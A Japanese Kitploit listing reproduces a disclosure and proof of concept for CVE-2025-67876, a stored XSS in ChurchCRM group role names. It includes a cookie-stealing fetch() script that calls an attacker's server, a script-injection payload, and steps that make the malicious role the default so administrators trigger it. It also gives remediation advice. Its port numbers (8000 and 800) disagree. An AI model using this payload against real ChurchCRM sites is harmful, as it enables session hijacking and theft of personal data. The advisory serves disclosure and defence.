Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/lukasz-rybak/cve-2025-67876
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト論文と研究学習と教育
GitHublukasz-rybak/cve-2025-67876

CVE-2025-67876

CVE-2025-67876の詳細な概念実証。ChurchCRMのグループロール名の保存型XSSによる管理者セッションハイジャックを示し、完全なエクスプロイト解説と是正推奨事項を提供。

リポジトリを見る
25ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-67876: ChurchCRMのグループ役割名における保存型XSSにより管理者セッションがハイジャックされる

概要

フィールド詳細
CVE IDCVE-2025-67876
深刻度CRITICAL
アドバイザリアドバイザリを表示
発見者Lukasz Rybak

影響を受ける製品

  • ChurchCRM/CRM

詳細

要約

ChurchCRMには、「グループの管理(Manage Groups)」権限を持つ低権限ユーザーがグループ役割名に永続的なJavaScriptを注入できる保存型クロスサイトスクリプティング(XSS)の脆弱性が存在します。ペイロードはデータベースに保存され、管理者を含むすべてのユーザーがGroupView.phpやPersonView.phpなど、その役割を表示するページを閲覧するたびに実行されます。これにより、完全なセッションハイジャックとアカウント乗っ取りが可能になります。

詳細

根本原因は、グループ役割名の処理における入力検証と出力エンコーディングの欠如です。

GroupEditor.phpでグループを編集する際、ユーザーは役割名を変更できます。アプリケーションは入力をサニタイズしません(例: strip_tags、htmlspecialchars、サーバーサイド検証のいずれもなし)。値はlist_lstデータベーステーブルに保存されます。

その後、保存された値はエスケープされずに直接HTMLに注入されます:

  • GroupView.phpでは、グループ役割は<span>で囲まれたテーブルセル内に表示されます。
  • PersonView.phpでは、ユーザーに割り当てられた役割が「割り当てられたグループ(Assigned Groups)」の下に表示されます。 エスケープが適用されないため、役割名に保存されたHTMLやJavaScriptは被害者のブラウザで実行されます。

したがって、(Manage Groups権限を持つ)低権限ユーザーは、役割にJavaScriptを注入し、その役割を管理者に割り当てることで、権限を完全な管理者へと昇格させることができます。

PoC

フェーズ1 - 攻撃者の準備

攻撃者が管理するマシン上にx.jsを作成します:

fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));

ファイルを配信します:

python3 -m http.server 800

フェーズ2 - XSSペイロードの注入

  1. Manage Groups権限を持つユーザーとしてログインします。

    画像
  2. 以下へ移動します: グループ → グループ一覧 → 任意のグループを選択 → 設定(Settings)。

  3. 「グループ役割(Group Roles)」セクションで、既存の役割を編集するか新しい役割を作成します。

  4. 悪意のあるペイロードを挿入します:

"><script src=//172.20.0.1:800/x.js></script>

画像

グループ役割リストで、XSSペイロードを注入した役割の横にある「デフォルト(Default)」をクリックします。 これにより、グループに追加されたすべてのユーザーに悪意のある役割が自動的に割り当てられ、管理者がプロフィールを表示した際にXSSが発動する可能性が高まります。 画像 以前のデフォルト役割(通常は「メンバー(Member)」)の横にある「削除(Delete)」をクリックします。 クリーンなデフォルト役割を削除することで、システムは今後のすべての割り当てにXSSが注入された役割を使用せざるを得なくなり、被害者が自分の割り当て役割を表示する任意のページを閲覧したときに確実に実行されます。 画像

  1. 役割名を保存します。 画像

フェーズ3 - 被害者への悪意のある役割の割り当て

  1. グループ表示(Group View)ページに移動します。

  2. 任意のユーザーをグループメンバーとして追加します(例: Church Admin)。

    画像
  3. ドロップダウンから悪意のある役割を選択します。

  4. 割り当てを保存します。

    画像

フェーズ4 - XSSの実行

被害者(管理者)が以下を訪問すると:

  • 自分のユーザープロフィール: PersonView.php

    画像
  • グループ表示ページ: GroupView.php

保存されたJavaScriptが即座に実行されます。

攻撃者サーバーでは、着信リクエストが表示されます: 画像

画像

これにより、アカウント乗っ取りが成功したことが確認されます。

影響

  • 保存型XSS
  • 管理者セッションの完全なハイジャック
  • 低権限ユーザーからシステム全体の管理者への権限昇格
  • ChurchCRMに保存されているすべての機密性の高い個人データの暴露

CWE

CWE-79: ウェブページ生成時における入力の不適切な無害化('Cross-site Scripting')

推奨事項

  • すべての役割名のレンダリングに出力エンコーディング(htmlspecialchars)を適用します。
  • 役割名をサーバーサイドで検証およびサニタイズします。
  • 他のリストベースの編集可能フィールドにも同様の脆弱性がないか確認します。
  • 集中管理されたエスケープライブラリやテンプレートエンジンの使用を検討します。

参照

  • https://github.com/ChurchCRM/CRM/security/advisories/GHSA-j9gv-26c7-3qrh

免責事項

このCVEは、調整された脆弱性開示の慣行に従って責任を持って開示されました。ここで提供される情報は、教育および防御目的のみを目的としています。

ツールをダウンロード